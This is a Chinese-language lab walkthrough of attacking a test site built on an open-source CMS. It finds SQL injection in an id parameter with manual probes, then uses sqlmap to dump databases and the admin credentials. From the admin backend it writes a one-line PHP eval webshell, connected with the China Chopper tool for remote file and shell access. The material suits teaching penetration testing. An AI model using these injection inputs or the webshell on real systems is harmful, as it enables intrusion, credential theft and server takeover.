本文基于某个开源的CMS搭建一个靶机,来演示Web渗透整个过程。
1. SQL注入检测
在访问网站时收集资料,了解网站的各项接口、功能,手动测试其每一个参数是否存在注入。其中发现一个带参数ID的页面,如图1所示。
图1 带参数ID的页面
通过手动注入判断该参数是否为注入点,发现当输入id=10’and‘1’=’0时返回错误页面,如图2所示。
图2 返回错误页面
而当参数id=10’and‘1’=’1时仍然显示为正确页面,由此怀疑ID参数后面的and语句内容被当作SQL语句一部分带入执行,此处可能存在SQL注入。
2. SQL注入利用
纯粹的手工注入将花费大量时间和精力,此处利用SQLMap工具对此疑似SQL注入点的参数进行判断。
利用SQLMap语句:
–u “http:/*.*.*.*/yx/index.php?r=default/column/content&col=products&id=10*”
判断该URL是否存在注入,其中,*表示判断该处参数,其结果如图3所示。
图3 判断注入结果
可见参数 id 存在布尔注入、错误回显注入、时间盲注等多种注入隐患。并且 SQLMap直接判断出其后台数据库为MySQL 5.0,服务器为Apache2.4.3,脚本环境为PHP5.6.25。
利用SQLMap继续查看数据库内容,其中利用–dbs参数查看所有数据库发现共有5个库,如图4所示。
图4 查看数据库
猜测yx_test为该CMS的数据库,继续深入查看其内容。利用–D 库名–tables可查看指定库的表名,如图5所示。
图5 查看指定库的表名
共有20张表,需要得到管理员账号密码,因此,利用–T参数指定表dump其内容。
于是得到了该表的结构以及其中数据,并反解MD5,可以获得一个登录名为admin的账号和密码654321。
3. 后台登录getshell
进入后台,如图6所示。
图6 进入后台
继续在后台管理平台上寻找可上传Webshell的方法,以取得服务器Shell权限。
在进入到全局设置下前台模板的管理模板文件功能后,发现有许多PHP文件,其中利用添加模板的功能可以直接在网页上编写PHP文件,并保存到服务器,如图7所示。
图7 编写PHP文件
利用网页编辑,写入一个一句话木马,其内容为<?php eval($_POST['test']);?>,写入到一个名为muma.php的文件,如图8所示。
图8 写入木马
木马写入成功,只需知道网页地址即可访问链接。
最后利用中国菜刀工具连接该木马,如图9所示。
图9 连接木马
成功连接站点,可以远程下载、上传任意文件,也可运行Shell执行代码。